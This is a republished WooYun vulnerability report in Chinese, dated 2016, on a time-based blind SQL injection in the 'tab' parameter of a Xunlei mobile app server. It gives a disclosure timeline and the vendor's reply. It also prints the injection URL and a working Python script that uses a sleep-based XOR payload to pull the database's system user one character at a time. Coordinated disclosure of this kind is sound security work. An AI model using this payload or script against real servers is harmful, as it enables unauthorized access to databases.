迅雷手机APP存在SQL注入(root权限)

2017年4月26日23:30:24评论338 views字数 223阅读0分44秒阅读模式

摘要

2016-04-12：细节已通知厂商并且等待厂商处理中
2016-04-12：厂商已经确认，细节仅向厂商公开
2016-04-22：细节向核心白帽子及相关领域专家公开
2016-05-02：细节向普通白帽子公开
2016-05-12：细节向实习白帽子公开
2016-05-27：细节向公众公开

漏洞概要关注数(8) 关注此漏洞

漏洞标题：迅雷手机APP存在SQL注入(root权限)

漏洞作者： null_z

提交时间： 2016-04-12 09:26

公开时间： 2016-05-27 10:00

漏洞类型： SQL注射漏洞

危害等级：高

自评Rank： 15

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

2人收藏

漏洞详情

披露状态：

简要描述：

。。。

详细说明：

注入点 http://m.sjzhushou.com/cgi-bin/media_filter?code=all_movie&ver=51301&product_id=37&area=0&timestamp=1460420940482&xlcache=2&tab=1*&year=0&versioncode=90220&op=2&page=1&pm=iphone

注入参数tab

带上referer

http://m.sjzhushou.com/ios_page/iphone/channel/movie_v36.html?category=movie&code=all_movie&type=all_movie&area=0&year=0&isVip=0&peerID=1c661bf1c21d003V&peer_id=1c661bf1c21d003V&ver=5.13.1.2782&productID=31&ios_ver=7.1.1&versionCode=51301&product_id=31&partnerId=0x20800003&device=iPhone4,1&encode=1

这个包是在浏览迅雷手机APP发现的，whois信息

True

False

漏洞证明：

这个站一个正常的http请求大约2秒，如果低于1秒(异常请求大多0.1秒左右)的都没有经过服务器。

所以脚本低于一秒的请求抛弃掉

版本

user

code 区域

#!/usr/bin/env python
 #-*- coding: utf-8 -*-
 
 
 import time
 import string
 import binascii
 import requests
 
 
 res = ''
 character = "." + string.digits + "@" + "_" + string.ascii_lowercase
 
 headers = {
  'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36',
  'Referer': 'http://m.sjzhushou.com/ios_page/iphone/channel/movie_v36.html?category=movie&code=all_movie&type=all_movie&area=0&year=0&isVip=0&peerID=1c661bf1c21d003V&peer_id=1c661bf1c21d003V&ver=5.13.1.2782&productID=31&ios_ver=7.1.1&versionCode=51301&product_id=31&partnerId=0x20800003&device=iPhone4,1&encode=1',
  }
 
 
 for i in range(1, 21):
  for p in character:
   while True:
    start_time = time.time()
    url = "http://m.sjzhushou.com/cgi-bin/media_filter?code=all_movie&ver=51301&product_id=37&area=0&timestamp=1460420940482&xlcache=2&tab='XOR(if(sysdate()=now() and mid(lower(system_user()),{},1)='{}',sleep(1*4),1))XOR'&year=0&versioncode=90220&op=2&page=1&pm=iphone".format(i, p)
    req = requests.get(url, headers=headers)
    print req.url + ' --- ',
    print time.time() - start_time
    if time.time() - start_time < 0.8:
     continue
    else:
     break
   if time.time() - start_time > 5:
    res += p
    print "/n[Result]: " + res + "/n"
    break
 
 print "/n/n[Finish]: " + res

修复方案：

。。。

版权声明：转载请注明来源 null_z@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2016-04-12 09:50

厂商回复：

已知漏洞，正在修复中，感谢您的反馈！

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞概要 关注数(8) 关注此漏洞

缺陷编号： WooYun-2016-195296

漏洞标题： 迅雷手机APP存在SQL注入(root权限)

相关厂商： 迅雷